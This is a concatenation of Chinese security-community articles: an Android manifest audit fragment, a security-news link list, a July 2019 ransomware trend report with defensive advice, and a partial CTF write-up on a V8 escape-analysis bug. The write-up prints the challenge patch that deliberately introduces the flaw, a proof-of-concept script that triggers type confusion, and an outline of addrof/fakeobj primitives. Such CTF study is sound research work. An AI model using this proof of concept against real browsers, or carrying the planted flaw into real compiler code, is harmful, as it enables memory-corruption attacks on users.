使用apktool等工具反编译apk后，查看AndroidManifest.xml文件，查找allowBackup，如果其值为ture，则表示存在漏洞，如下图所示。
2.Debuggable默认设置风险
原理：android:debuggable属性用于指定应用程序是否能够被调试，如果设置其为true，那么其将能够被java调试工具（jdb）调试，信息和代码都将可能会被获取和修改。
防护：系统默认其为false，使用系统默认设置。 | 社区文章 |
# 【知识】6月19日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： Shadow Brokers泄漏的分析与Windows10中基于虚拟化的安全缓解措施 **、** 针对Linux内核中double
fetch漏洞的研究、RMI, Marshalling, RMI Class
Loading、通过php模块rootkit验证PHP解释器不在安全、详细分析Longhorn木马和Black Lambert监控后门、远程遥控
IPTables 进行端口复用**
* * *
英BAE系统被指将大规模监控软件Evident售往中东
<http://securityaffairs.co/wordpress/60201/digital-id/bae-evisend-surveillance-software.html>
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
Shadow Brokers泄漏的分析与Windows10中基于虚拟化的安全缓解措施
<https://blogs.technet.microsoft.com/mmpc/2017/06/16/analysis-of-the-shadow-brokers-release-and-mitigation-with-windows-10-virtualization-based-security/>
针对Linux内核中double fetch漏洞的研究
<https://www.inforsec.org/wp/?p=2049>
被忽视的攻击面：Python package 钓鱼
<http://paper.seebug.org/326/>
针对工业控制系统的新型攻击武器 Industroyer 深度剖析
<http://paper.seebug.org/328/>
浏览器地址栏之困
<https://github.com/xisigr/paper/blob/master/NSC2017%E7%AC%AC%E4%BA%94%E5%B1%8A%E4%B8%AD%E5%9B%BD%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BC%9A/%E6%B5%8F%E8%A7%88%E5%99%A8%E5%9C%B0%E5%9D%80%E6%A0%8F%E4%B9%8B%E5%9B%B0.pdf>
RMI, Marshalling, RMI Class Loading
<https://threathunter.org/topic/5945141c4ea5b2f5516e2031>
远程遥控 IPTables 进行端口复用
<https://threathunter.org/topic/594545184ea5b2f5516e2033>
记一次安卓系统源码编译刷机过程
<http://bbs.pediy.com/thread-218513.htm>
CTF2017 第8题 loudy Crackme 破解过程（迟来的成功）
<http://bbs.pediy.com/thread-218564.htm>
AWS元数据服务的SSRF漏洞
<https://blog.christophetd.fr/abusing-aws-metadata-service-using-ssrf-vulnerabilities/>
AQUATONE：子域名发掘的神器
<http://michenriksen.com/blog/aquatone-tool-for-domain-flyovers/>
defcon ctf 2017 divided writeup
<https://www.securifera.com/blog/2017/06/18/defcon-ctf-2017-divided-writeup/>
一个基于浏览器的GUI的LLDB调试器
<https://github.com/ant4g0nist/vegvisir>
NDSS 2017视频合集
<https://www.youtube.com/playlist?list=PLfUWWM-POgQsZ9YCXLaCHIvn_H6-F4esJ>
我如何偷走你的云储币(Siacoin)
<https://mtlynch.io/stole-siacoins/>
关于加密数据库是不安全的paper
<http://eprint.iacr.org/2017/468.pdf>
通过php模块rootkit验证PHP解释器不在安全
<https://blog.paradoxis.nl/your-interpreter-isnt-safe-anymore-the-php-module-rootkit-c7ca6a1a9af5>
杀软内核漏洞的一些PoC
<https://github.com/bee13oy/AV_Kernel_Vulns>
ManageEngine 代码执行漏洞
<https://blogs.securiteam.com/index.php/archives/3228>
一个开源的php module rootkit
<http://pentestit.com/open-source-php-module-rootkit/>
CVE-2017-9233漏洞解析
<https://libexpat.github.io/doc/cve-2017-9233/>
详细分析Longhorn木马和Black Lambert监控后门
<http://adelmas.com/blog/longhorn.php> | 社区文章 |
# 2019年7月勒索病毒疫情分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
勒索病毒的蔓延，给企业和个人都带来了严重的安全威胁。360安全大脑针对勒索病毒进行了全方位的监控与防御。从本月数据来看，反勒索服务反馈量有小幅度上升，其中Stop是反馈量上升最大的一个家族。
360解密大师在本月新增了对LoopCipher勒索病毒家族的解密支持。
## 感染数据分析
相较于六月数据，本月反勒索服务的反馈量有小幅度的上升，其中以Stop的反馈量上升最大。同时在本月反馈中，勒索病毒的类型也是最为丰富的一次，共出现了29个不同家族勒索病毒。
图1.近12个月勒索病毒反馈统计
对本月勒索病毒家族占比分析看：GlobeImposter家族占比21.21%居首位，
phobos和Stop两个家族则以14.20%和13.65%的占比分列二三位。
图2.2019年7月勒索病毒家族占比
从被感染系统占比看：本月占比居前三的仍是Windows7、Windows10和Windows Server
2008,但是各自占比都有大幅度的变化。其中变化最大的Windows 7从6月的29.47%跃升到本月的56.45%。
图3.2019年7月被感染系统占比
对比2019年6月与7月被感染系统情况，本月个人系统占比有较大上升。个人系统从69%上升至本月的86%。这与本月Stop、Sodinokibi两个勒索病毒家族的异常活跃紧密相关。
图4.2019年6月和7月被感染系统占比对比图
## 勒索病毒疫情分析
## Stop
本月Stop勒索病毒家族新增format、bopador、masok、cosakos、lotej、prandel、
zatrov、brusaf等后缀。中毒用户几乎都是从国外网站下载激活工具、破解软件导致大量文件被加密。虽然国内反馈量很大，但是相对于国外，量会小很多。
由于Stop本身的可定制化，传播者可以根据自己的喜好去设置被加密文件后缀、设置加密文件时使用的密钥，导致其变种非常多——迄今为已有100多种。为应对不同变种不断更新离线key的情况,360解密大师还提供了无需更新离线key的解密方案：用户可以通过提供一对文件(加密后的文件和加密前的原始文件)在用户本地进行密钥碰撞运算，以此来解密文件。
图5.解密大师解密Stop勒索病毒
## Sodinokibi
360安全大脑监控到，Sodinokibi勒索病毒在7月21号,有一次较大规模的钓鱼邮件传播。勒索病毒传播者冒充DHL(告知用户快递被无限期延迟，具体原因查看附件)、网警(告知用户使用过的图片造成侵权将受到罚款，具体情况查看附件)向用户发送垃圾邮件，诱惑用户下载运行邮件附件从而加密。这次攻击事件，也造成很多计算机被攻击中招。
图6.Sodinokibi通过邮件传播趋势图
## Ech0Raix
本月中旬，一款名为Ech0Raix的勒索病毒开始针对国内进行传播，主要攻击目标为NAS服务器，国内群辉(Synology)和威联通(QNAP)等主流NAS设备都有中招反馈。该勒索病毒加密文件后修改文件后缀为encrypt,并向受害者索要0.06个比特币。
图7.被Ech0Raxi加密的文件
通过对中招服务器分析发现，服务器上存在大量的远程桌面口令爆破记录和SSH口令爆破记录，并且在文件被加密前有通过远程桌面成功登录服务器记录。经过360分析人员的进一步分析发现该勒索病毒传播是先通过爆破拿到远程桌面密码，登录到系统后在本地创建计划任务，通过计划任务去下载执行勒索病毒，实现对用户本地文件的加密。
图8.黑客创建删除计划任务
## 黑客信息披露
以下是2019年7月份以来，黑客在使用的勒索病毒联系邮箱。
[email protected]
|
[email protected]
|
[email protected]
---|---|---
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
[email protected]
[email protected]
|
[email protected]
|
diller13@cockli
表格1.黑客邮箱
## 服务器防护数据分析
通过对2019年6月和7月的数据进行对比分析发现，操作系统占比变动不大，在小范围内浮动。
图9.2019年7月被弱口令攻击系统占比
以下是对2019年7月被攻击系统所属IP采样制作的地域分部图，与之前几个月采集到的数据进行对比，地区排名和占比变化都不大。数字经济发达地区仍是被攻击的主要对象。
图10.被攻击地域分部图
通过对6月和7月的弱口令攻击数据数据进行分析，两月的数据相对比较稳定，未发现大规模弱口令攻击。
图11.2019年7月弱口令攻击趋势图
## 勒索病毒关键词
该数据来源lesuobingdu.360.cn的搜索统计。（由于WannaCry、AllCry、TeslaCrypt、Satan以及kraken几个家族在过去曾出现过较大规模传播，之前的搜索量较高，长期停留在推荐栏里，对结果有一定影响，故在统计中去除了这几个家族的数据。）
对本月用户搜索勒索病毒关键词进行统计，检索量较大的关键词如下:
* Help989：属于GlobeImposter家族的一个变种，由于被加密文件后缀会被修改为Help989而成为关键词，该勒索病毒家族主要通过爆破远程桌面，手动投毒传播。
* Your_last_chance:属于Nemesis家族的一个变种，由于被加密文件后缀会被修改为Your_last_chance而成为关键词，该勒索病毒家族主要通过爆破远程桌面，手动投毒传播。
* Actin:属于phobos家族的一个变种，由于被加密文件后缀会被修改为Actin而成为关键词，该勒索病毒家族主要通过爆破远程桌面，手动投毒传播。
* Jsworm4.0.1：属于Jsworm家族，该勒索病毒主要通过垃圾邮件进行传播，国内也出现通过爆破远程桌面后通过手动投毒进行传播。
* Supporhelpgood:同Help989。
* Adage:同Actin。
* Firex3m:同Your_last_chance。
* Diller13:同Actin。
* Pig4444:同Help989
* [email protected]: 同Help，不同点在于该关键词为邮箱，是黑客留下用来沟通解密所用。
图12.2019年7月勒索病毒关键词Top10
## 360解密大师
从360解密大师本月的解密统计数据看，本月解密量最大为GandCrab家族，其次是Plantery。其中使用解密大师解密文件的用户数量最高的为Stop家族，其次为GandCrab家族。
图13.2019年7月解密大师解密情况图
## 总结
针对服务器的勒索病毒攻击依然是当下勒索病毒的一个主要方向，企业需要加强自身的信息安全管理能力——尤其是弱口令、漏洞、文件共享和远程桌面的管理，以应对勒索病毒的威胁，在此我们给各位管理员一些建议：
1. 多台机器，不要使用相同的账号和口令
2. 登录口令要有足够的长度和复杂性，并定期更换登录口令
3. 重要资料的共享文件夹应设置访问权限控制，并进行定期备份
4. 定期检测系统和软件中的安全漏洞，及时打上补丁。
5. 定期到服务器检查是否存在异常。查看范围包括：
1. 是否有新增账户
2. Guest是否被启用
3. Windows系统日志是否存在异常
4. 杀毒软件是否存在异常拦截情况
而对于本月又重新崛起的这对个人电脑发起攻击的勒索病毒，建议广大用户：
1. 安装安全防护软件，并确保其正常运行。
2. 从正规渠道下载安装软件。
3. 慎用各种激活工具。
4. 对不熟悉的软件，如果已经被杀毒软件拦截查杀，不要添加信任继续运行。
5. 遇到陌生人发送的邮件，要谨慎查看，尽量避免下载附件。如需要下载，也要先用安全软件对附件进行检查。 | 社区文章 |
# 2020 N1CTF escape
作为一位菜鸟，发文章希望大佬们批评指正
## 0 环境搭建
git reset --hard 07b0b1dcde4a99294b8028d83f4ea244885cc091
git apply ../patch/patch.diff
gclient sync
ninja -C out.gn/x64.release d8
8:43
同时在ubuntu18上安装对应的chrome
题目之后放在github上
<https://github.com/MyinIt-0/v8/tree/master/Wi1L>
## 1 背景知识
##### 一些补充
当我们想直接输出一个type信息时，会被逗号取代（除非有洞导致.....）
##### 关于fixed_array与fixed_double_array的不同
两者都是element部分
###### 对于fixed_array，其中每一个都会向obj一样解析
哪怕像这样插入一个浮点数
spary[spary_size-1] = 1.1;
也会作为heapNumber对象，这样的话直接读取spary[idx]返回的是
,,,
因为这些idx位置都是 obj指针，如果返回就相当于泄露map值了
###### 对于fixed_double_array
其中的浮点数都是直接存储的
可以直接通过idx访问
所以得出结论，这两个东西的互相转化可以用于伪造addrof与fakeof原语
## 2 漏洞分析
###### patch 文件
diff --git a/src/compiler/escape-analysis.cc b/src/compiler/escape-analysis.cc
index 2a096b6933..3046d7b04e 100644
--- a/src/compiler/escape-analysis.cc
+++ b/src/compiler/escape-analysis.cc
@@ -178,7 +178,7 @@ class EscapeAnalysisTracker : public ZoneObject {
: VariableTracker::Scope(&tracker->variable_states_, node, reduction),
tracker_(tracker),
reducer_(reducer) {}
- const VirtualObject* GetVirtualObject(Node* node) {
+ VirtualObject* GetVirtualObject(Node* node) {
VirtualObject* vobject = tracker_->virtual_objects_.Get(node);
if (vobject) vobject->AddDependency(current_node());
return vobject;
@@ -576,10 +576,14 @@ void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current,
case IrOpcode::kStoreField: {
Node* object = current->ValueInput(0);
Node* value = current->ValueInput(1);
- const VirtualObject* vobject = current->GetVirtualObject(object);
+ VirtualObject* vobject = current->GetVirtualObject(object);
Variable var;
if (vobject && !vobject->HasEscaped() &&
vobject->FieldAt(OffsetOfFieldAccess(op)).To(&var)) {
+ // Attach cached map info to the virtual object.
+ if (OffsetOfFieldAccess(op) == HeapObject::kMapOffset) {
+ vobject->SetMap(value);
+ }
current->Set(var, value);
current->MarkForDeletion();
} else {
@@ -747,6 +751,17 @@ void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current,
// yet.
break;
}
+ } else if (vobject) {
+ Node* cache_map = vobject->Map();
+ if (cache_map) {
+ Type const map_type = NodeProperties::GetType(cache_map);
+ if (map_type.IsHeapConstant() &&
+ params.maps().contains(
+ map_type.AsHeapConstant()->Ref().AsMap().object())) {
+ current->MarkForDeletion();
+ break;
+ }
+ }
}
current->SetEscaped(checked);
break;
@@ -804,6 +819,12 @@ void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current,
for (int i = 0; i < value_input_count; ++i) {
Node* input = current->ValueInput(i);
current->SetEscaped(input);
+
+ // Invalidate associated map cache for all value input nodes.
+ VirtualObject* vobject = current->GetVirtualObject(input);
+ if (vobject) {
+ vobject->SetMap(nullptr);
+ }
}
if (OperatorProperties::HasContextInput(op)) {
current->SetEscaped(current->ContextInput());
diff --git a/src/compiler/escape-analysis.h b/src/compiler/escape-analysis.h
index 0fbc7d0bdd..ec56488388 100644
--- a/src/compiler/escape-analysis.h
+++ b/src/compiler/escape-analysis.h
@@ -147,11 +147,14 @@ class VirtualObject : public Dependable {
bool HasEscaped() const { return escaped_; }
const_iterator begin() const { return fields_.begin(); }
const_iterator end() const { return fields_.end(); }
+ Node* Map() const { return map_; }
+ void SetMap(Node* map) { map_ = map; }
private:
bool escaped_ = false;
Id id_;
ZoneVector<Variable> fields_;
+ Node* map_;
};
class EscapeAnalysisResult {
整体的patch有两方面组成，一个是.h文件，一个是.cc文件的一个函数
针对.h文件
--- a/src/compiler/escape-analysis.h
+++ b/src/compiler/escape-analysis.h
@@ -147,11 +147,14 @@ class VirtualObject : public Dependable {
bool HasEscaped() const { return escaped_; }
const_iterator begin() const { return fields_.begin(); }
const_iterator end() const { return fields_.end(); }
+ Node* Map() const { return map_; }
+ void SetMap(Node* map) { map_ = map; }
private:
bool escaped_ = false;
Id id_;
ZoneVector<Variable> fields_;
+ Node* map_;
};
可以看到是VirtualObject加了一个map_对象 ， 同时增加了两个函数，这里我们就需要知道这个VirtualObject是什么
针对.cc文件
diff --git a/src/compiler/escape-analysis.cc b/src/compiler/escape-analysis.cc
index 2a096b6933..3046d7b04e 100644
--- a/src/compiler/escape-analysis.cc
+++ b/src/compiler/escape-analysis.cc
@@ -178,7 +178,7 @@ class EscapeAnalysisTracker : public ZoneObject {
: VariableTracker::Scope(&tracker->variable_states_, node, reduction),
tracker_(tracker),
reducer_(reducer) {}
- const VirtualObject* GetVirtualObject(Node* node) {
+ VirtualObject* GetVirtualObject(Node* node) {
VirtualObject* vobject = tracker_->virtual_objects_.Get(node);
if (vobject) vobject->AddDependency(current_node());
return vobject;
@@ -576,10 +576,14 @@ void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current,
case IrOpcode::kStoreField: {
Node* object = current->ValueInput(0);
Node* value = current->ValueInput(1);
- const VirtualObject* vobject = current->GetVirtualObject(object);
+ VirtualObject* vobject = current->GetVirtualObject(object);
Variable var;
if (vobject && !vobject->HasEscaped() &&
vobject->FieldAt(OffsetOfFieldAccess(op)).To(&var)) {
+ // Attach cached map info to the virtual object.
+ if (OffsetOfFieldAccess(op) == HeapObject::kMapOffset) {
+ vobject->SetMap(value);
+ }
current->Set(var, value);
current->MarkForDeletion();
} else {
@@ -747,6 +751,17 @@ void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current,
// yet.
break;
}
+ } else if (vobject) {
+ Node* cache_map = vobject->Map();
+ if (cache_map) {
+ Type const map_type = NodeProperties::GetType(cache_map);
+ if (map_type.IsHeapConstant() &&
+ params.maps().contains(
+ map_type.AsHeapConstant()->Ref().AsMap().object())) {
+ current->MarkForDeletion();
+ break;
+ }
+ }
}
current->SetEscaped(checked);
break;
@@ -804,6 +819,12 @@ void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current,
for (int i = 0; i < value_input_count; ++i) {
Node* input = current->ValueInput(i);
current->SetEscaped(input);
+
+ // Invalidate associated map cache for all value input nodes.
+ VirtualObject* vobject = current->GetVirtualObject(input);
+ if (vobject) {
+ vobject->SetMap(nullptr);
+ }
}
if (OperatorProperties::HasContextInput(op)) {
current->SetEscaped(current->ContextInput());
主要是针对刚才的map的一些操作，这里我们就需要看原函数是什么作用，如何触发这个位置等等
修改的具体函数如下（虽然有点长，但是还是贴了一下）
void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current,
JSGraph* jsgraph) {
switch (op->opcode()) {
case IrOpcode::kAllocate: {
NumberMatcher size(current->ValueInput(0));
if (!size.HasValue()) break;
int size_int = static_cast<int>(size.Value());
if (size_int != size.Value()) break;
if (const VirtualObject* vobject = current->InitVirtualObject(size_int)) {
// Initialize with dead nodes as a sentinel for uninitialized memory.
for (Variable field : *vobject) {
current->Set(field, jsgraph->Dead());
}
}
break;
}
case IrOpcode::kFinishRegion:
current->SetVirtualObject(current->ValueInput(0));
break;
case IrOpcode::kStoreField: {
Node* object = current->ValueInput(0);
Node* value = current->ValueInput(1);
VirtualObject* vobject = current->GetVirtualObject(object);
Variable var;
if (vobject && !vobject->HasEscaped() &&
vobject->FieldAt(OffsetOfFieldAccess(op)).To(&var)) {
// Attach cached map info to the virtual object.
if (OffsetOfFieldAccess(op) == HeapObject::kMapOffset) {
vobject->SetMap(value);
}
current->Set(var, value);
current->MarkForDeletion();
} else {
current->SetEscaped(object);
current->SetEscaped(value);
}
break;
}
case IrOpcode::kStoreElement: {
Node* object = current->ValueInput(0);
Node* index = current->ValueInput(1);
Node* value = current->ValueInput(2);
const VirtualObject* vobject = current->GetVirtualObject(object);
int offset;
Variable var;
if (vobject && !vobject->HasEscaped() &&
OffsetOfElementsAccess(op, index).To(&offset) &&
vobject->FieldAt(offset).To(&var)) {
current->Set(var, value);
current->MarkForDeletion();
} else {
current->SetEscaped(value);
current->SetEscaped(object);
}
break;
}
case IrOpcode::kLoadField: {
Node* object = current->ValueInput(0);
const VirtualObject* vobject = current->GetVirtualObject(object);
Variable var;
Node* value;
if (vobject && !vobject->HasEscaped() &&
vobject->FieldAt(OffsetOfFieldAccess(op)).To(&var) &&
current->Get(var).To(&value)) {
current->SetReplacement(value);
} else {
current->SetEscaped(object);
}
break;
}
case IrOpcode::kLoadElement: {
Node* object = current->ValueInput(0);
Node* index = current->ValueInput(1);
const VirtualObject* vobject = current->GetVirtualObject(object);
int offset;
Variable var;
Node* value;
if (vobject && !vobject->HasEscaped() &&
OffsetOfElementsAccess(op, index).To(&offset) &&
vobject->FieldAt(offset).To(&var) && current->Get(var).To(&value)) {
current->SetReplacement(value);
break;
} else if (vobject && !vobject->HasEscaped()) {
// Compute the known length (aka the number of elements) of {object}
// based on the virtual object information.
ElementAccess const& access = ElementAccessOf(op);
int const length =
(vobject->size() - access.header_size) >>
ElementSizeLog2Of(access.machine_type.representation());
Variable var0, var1;
Node* value0;
Node* value1;
if (length == 1 &&
vobject->FieldAt(OffsetOfElementAt(access, 0)).To(&var) &&
current->Get(var).To(&value) &&
(value == nullptr ||
NodeProperties::GetType(value).Is(access.type))) {
// The {object} has no elements, and we know that the LoadElement
// {index} must be within bounds, thus it must always yield this
// one element of {object}.
current->SetReplacement(value);
break;
} else if (length == 2 &&
vobject->FieldAt(OffsetOfElementAt(access, 0)).To(&var0) &&
current->Get(var0).To(&value0) &&
(value0 == nullptr ||
NodeProperties::GetType(value0).Is(access.type)) &&
vobject->FieldAt(OffsetOfElementAt(access, 1)).To(&var1) &&
current->Get(var1).To(&value1) &&
(value1 == nullptr ||
NodeProperties::GetType(value1).Is(access.type))) {
if (value0 && value1) {
// The {object} has exactly two elements, so the LoadElement
// must return one of them (i.e. either the element at index
// 0 or the one at index 1). So we can turn the LoadElement
// into a Select operation instead (still allowing the {object}
// to be scalar replaced). We must however mark the elements
// of the {object} itself as escaping.
Node* check =
jsgraph->graph()->NewNode(jsgraph->simplified()->NumberEqual(),
index, jsgraph->ZeroConstant());
NodeProperties::SetType(check, Type::Boolean());
Node* select = jsgraph->graph()->NewNode(
jsgraph->common()->Select(access.machine_type.representation()),
check, value0, value1);
NodeProperties::SetType(select, access.type);
current->SetReplacement(select);
current->SetEscaped(value0);
current->SetEscaped(value1);
break;
} else {
// If the variables have no values, we have
// not reached the fixed-point yet.
break;
}
}
}
current->SetEscaped(object);
break;
}
case IrOpcode::kTypeGuard: {
current->SetVirtualObject(current->ValueInput(0));
break;
}
case IrOpcode::kReferenceEqual: {
Node* left = current->ValueInput(0);
Node* right = current->ValueInput(1);
const VirtualObject* left_object = current->GetVirtualObject(left);
const VirtualObject* right_object = current->GetVirtualObject(right);
Node* replacement = nullptr;
if (left_object && !left_object->HasEscaped()) {
if (right_object && !right_object->HasEscaped() &&
left_object->id() == right_object->id()) {
replacement = jsgraph->TrueConstant();
} else {
replacement = jsgraph->FalseConstant();
}
} else if (right_object && !right_object->HasEscaped()) {
replacement = jsgraph->FalseConstant();
}
// TODO(tebbi) This is a workaround for uninhabited types. If we
// replaced a value of uninhabited type with a constant, we would
// widen the type of the node. This could produce inconsistent
// types (which might confuse representation selection). We get
// around this by refusing to constant-fold and escape-analyze
// if the type is not inhabited.
if (replacement && !NodeProperties::GetType(left).IsNone() &&
!NodeProperties::GetType(right).IsNone()) {
current->SetReplacement(replacement);
break;
}
current->SetEscaped(left);
current->SetEscaped(right);
break;
}
case IrOpcode::kCheckMaps: {
CheckMapsParameters params = CheckMapsParametersOf(op);
Node* checked = current->ValueInput(0);
const VirtualObject* vobject = current->GetVirtualObject(checked);
Variable map_field;
Node* map;
if (vobject && !vobject->HasEscaped() &&
vobject->FieldAt(HeapObject::kMapOffset).To(&map_field) &&
current->Get(map_field).To(&map)) {
if (map) {
Type const map_type = NodeProperties::GetType(map);
if (map_type.IsHeapConstant() &&
params.maps().contains(
map_type.AsHeapConstant()->Ref().AsMap().object())) {
current->MarkForDeletion();
break;
}
} else {
// If the variable has no value, we have not reached the fixed-point
// yet.
break;
}
} else if (vobject) {
Node* cache_map = vobject->Map();
if (cache_map) {
Type const map_type = NodeProperties::GetType(cache_map);
if (map_type.IsHeapConstant() &&
params.maps().contains(
map_type.AsHeapConstant()->Ref().AsMap().object())) {
current->MarkForDeletion();
break;
}
}
}
current->SetEscaped(checked);
break;
}
case IrOpcode::kCompareMaps: {
Node* object = current->ValueInput(0);
const VirtualObject* vobject = current->GetVirtualObject(object);
Variable map_field;
Node* object_map;
if (vobject && !vobject->HasEscaped() &&
vobject->FieldAt(HeapObject::kMapOffset).To(&map_field) &&
current->Get(map_field).To(&object_map)) {
if (object_map) {
current->SetReplacement(LowerCompareMapsWithoutLoad(
object_map, CompareMapsParametersOf(op), jsgraph));
break;
} else {
// If the variable has no value, we have not reached the fixed-point
// yet.
break;
}
}
current->SetEscaped(object);
break;
}
case IrOpcode::kCheckHeapObject: {
Node* checked = current->ValueInput(0);
switch (checked->opcode()) {
case IrOpcode::kAllocate:
case IrOpcode::kFinishRegion:
case IrOpcode::kHeapConstant:
current->SetReplacement(checked);
break;
default:
current->SetEscaped(checked);
break;
}
break;
}
case IrOpcode::kMapGuard: {
Node* object = current->ValueInput(0);
const VirtualObject* vobject = current->GetVirtualObject(object);
if (vobject && !vobject->HasEscaped()) {
current->MarkForDeletion();
}
break;
}
case IrOpcode::kStateValues:
case IrOpcode::kFrameState:
// These uses are always safe.
break;
default: {
// For unknown nodes, treat all value inputs as escaping.
int value_input_count = op->ValueInputCount();
for (int i = 0; i < value_input_count; ++i) {
Node* input = current->ValueInput(i);
current->SetEscaped(input);
// Invalidate associated map cache for all value input nodes.
VirtualObject* vobject = current->GetVirtualObject(input);
if (vobject) {
vobject->SetMap(nullptr);
}
}
if (OperatorProperties::HasContextInput(op)) {
current->SetEscaped(current->ContextInput());
}
break;
}
}
}
在这个函数里面主要patch的两个地方是
case IrOpcode::kStoreField: {
Node* object = current->ValueInput(0);
Node* value = current->ValueInput(1);
VirtualObject* vobject = current->GetVirtualObject(object);//====>
Variable var;
if (vobject && !vobject->HasEscaped() &&
vobject->FieldAt(OffsetOfFieldAccess(op)).To(&var)) {
// Attach cached map info to the virtual object. //====>
if (OffsetOfFieldAccess(op) == HeapObject::kMapOffset) {
vobject->SetMap(value);
}////////////////////////////////////////////////////====>
current->Set(var, value);
current->MarkForDeletion();
} else {
current->SetEscaped(object);
current->SetEscaped(value);
}
break;
}
patch的位置在上面进行了标记
在patch脚本中给了一句话// Attach cached map info to the virtual object.
前面对于patch中的.h文件进行了介绍
上面的case是对于StoreField节点进行的操作，可见如果我们绕过一些分支限制，到达
vobject->SetMap(value);位置，是可以给这个Node设置一个cached map的、
但是我现在不清楚的object和value分别是什么、对于setEscaped和MarkForDeletion也略有不清楚
还有
case IrOpcode::kCheckMaps: {
CheckMapsParameters params = CheckMapsParametersOf(op);
Node* checked = current->ValueInput(0);
const VirtualObject* vobject = current->GetVirtualObject(checked);
Variable map_field;
Node* map;
if (vobject && !vobject->HasEscaped() &&
vobject->FieldAt(HeapObject::kMapOffset).To(&map_field) &&
current->Get(map_field).To(&map)) {
if (map) {
Type const map_type = NodeProperties::GetType(map);
if (map_type.IsHeapConstant() &&
params.maps().contains(
map_type.AsHeapConstant()->Ref().AsMap().object())) {
current->MarkForDeletion();
break;
}
} else {
// If the variable has no value, we have not reached the fixed-point
// yet.
break;
}
} else if (vobject) { //<=====================
Node* cache_map = vobject->Map();
if (cache_map) {
Type const map_type = NodeProperties::GetType(cache_map);
if (map_type.IsHeapConstant() &&
params.maps().contains(
map_type.AsHeapConstant()->Ref().AsMap().object())) {
current->MarkForDeletion();<==我们希望通过这个消除checkmap
break;
}
}
}////////////////////////<=====================
current->SetEscaped(checked);
break;
}
同样先将patch的部位进行了标记
这里的case是针对CheckMaps Node，在store之前是有CheckMaps节点的
这里就是绕过一些条件，达到这个分支之后
首先取出vobject对应的Map_(这里的vobject对应哪个节点也还没有搞明白)
取出map值后，经过一个if判断，将current标记成删除
经过上面的分析，我自己的想法是，首先store让一个节点标记上这个cached_map，然后绕过一些判定条件，使CheckMap节点消除，从而可以进行类型混淆（甚至更多）
###### POC与动态调试
官方poc
function opt(cb) {
for(var i = 0; i < 200000; i++) { } // trigger JIT
let v = [1.1]; // double elements
let o = [v]; // now o & v are not escaped and have their maps cached
cb(o); // now o & v are escaped, but only o's cached maps are
//invalidated.
return v[0]; // type confusion, v is still treated as double elements.其实应该是fixed_array而不是fixed_double_array
}
let x = new Array(4);
for(var i = 0; i < 10; i++) {
opt((o) => {});
}
console.log(opt((o) => { o[0][0] = x; }));
断点位置
Num Type Disp Enb Address What
1 breakpoint keep y 0x00007f9542e891d4 in v8::internal::compiler::(anonymous namespace)::ReduceNode(v8::internal::compiler::Operator const*, v8::internal::compiler::EscapeAnalysisTracker::Scope*, v8::internal::compiler::JSGraph*) at ../../src/compiler/escape-analysis.cc:755
breakpoint already hit 1 time
2 breakpoint keep y 0x00007f9542e88127 in v8::internal::compiler::(anonymous namespace)::ReduceNode(v8::internal::compiler::Operator const*, v8::internal::compiler::EscapeAnalysisTracker::Scope*, v8::internal::compiler::JSGraph*) at ../../src/compiler/escape-analysis.cc:584
breakpoint already hit 12 times
关于reduceNode总共触发了一次，所以就先研究一下这个
官方POC的内存变化
mem.js
function opt(cb) {
//for(var i = 0; i < 200000; i++) { } // trigger JIT
let v = [1.1]; // double elements
let o = [v]; // now o & v are not escaped and have their maps cached
%DebugPrint(o);
%SystemBreak();
cb(o); // now o & v are escaped, but only o's cached maps are
%DebugPrint(o);
//invalidated.
return v[0]; // type confusion, v is still treated as double elements.
}
let x = new Array(4);
//for(var i = 0; i < 10; i++) {
//opt((o) => {});
//}
let foo = opt((o) => { o[0][0] = x;});
%SystemBreak();
//%OptimizeFunctionOnNextCall(opt);
//console.log(opt((o) => { o[0][0] = x; }));
第一次内存情况
DebugPrint: 0xc6e08148dd5: [JSArray]
- map: 0x0c6e0830394d <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x0c6e082cb5e9 <JSArray[0]>
- elements: 0x0c6e08148dc9 <FixedArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x0c6e08042229 <FixedArray[0]> {
0xc6e08044695: [String] in ReadOnlySpace: #length: 0x0c6e08242159 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x0c6e08148dc9 <FixedArray[1]> {
0: 0x0c6e08148db9 <JSArray[1]>
}
0xc6e0830394d: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_ELEMENTS
- unused property fields: 0
- enum length: invalid
